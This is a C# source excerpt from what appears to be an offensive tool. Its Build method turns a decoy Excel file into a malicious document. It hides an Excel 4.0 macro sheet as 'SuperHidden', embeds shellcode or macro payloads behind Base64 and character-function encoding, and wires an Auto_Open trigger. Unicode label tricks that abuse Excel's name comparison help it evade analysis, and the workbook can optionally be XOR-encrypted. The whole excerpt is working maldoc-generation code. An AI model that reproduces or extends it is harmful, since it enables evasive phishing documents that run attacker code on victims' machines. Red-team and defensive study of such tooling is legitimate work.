        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the Base64 for encoding.</param>
        /// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param>
        /// <param name="noLabelObfuscation">Use this flag to disable Unicode obfuscation of the Auto_Open label. Recommended for when targeting a non-windows OS, or if a non-US version of Excel isn't triggering the event</param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.Base64,
                                 string password           = "", string localizedLabel = "Auto_Open", bool noLabelObfuscation = false)
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();


            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs        = LoadDecoyDocument(decoyDocPath);
            List <string>  sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList();
            VBAInfo        vbaInfo    = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames);

            List <string> preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                //Prepend the preamble to the imported pattern
                macros = preambleCode.Concat(macros).ToList();
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod);
                }
                else
                {
                    wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                }

                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    if (payloadMethod == PayloadPackingMethod.Base64)
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod);
                    }
                    else
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    }

                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }

                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
                }
            }

            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            // Initialize the Global Stream records like SupBook + ExternSheet
            wbe.InitializeGlobalStreamLabels();

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod);
            }
            else if (method == SheetPackingMethod.ArgumentSubroutines)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;

                ushort formInvocationRw  = 0xefff;
                ushort formInvocationCol = 0x9e;

                ushort evalFormInvocationRw  = 0xefff;
                ushort evalFormInvocationCol = 0x9d;

                //Lbl1
                wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false);
                //Lbl2
                wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false);

                //Lbl3
                wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true);
                //Lbl4
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true);
                //Lbl5
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true);

                //Lbl6
                wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false);
                //Lbl7
                wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true);


                List <Formula> charFunctionFormulas =
                    FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3,
                                                                   UnicodeHelper.CharFuncArgument1Label);
                foreach (var f in charFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes(
                    formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label,
                    UnicodeHelper.FormulaFuncArgument2Label, 4, 5);
                foreach (var f in formulaFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaEvalFunctionFormulas =
                    FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes(
                        evalFormInvocationRw, evalFormInvocationCol,
                        UnicodeHelper.FormulaEvalArgument1Label, 7);
                foreach (var f in formulaEvalFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }
            }

            wbe.AddLabel(localizedLabel, rwStart, colStart);

            if (!noLabelObfuscation)
            {
                wbe.ObfuscateAutoOpen(localizedLabel);
            }

            WorkbookStream createdWorkbook = wbe.WbStream;

            if (!string.IsNullOrEmpty(password))
            {
                Console.WriteLine("Encrypting Document with Password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
            }

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, createdWorkbook, vbaInfo);
        }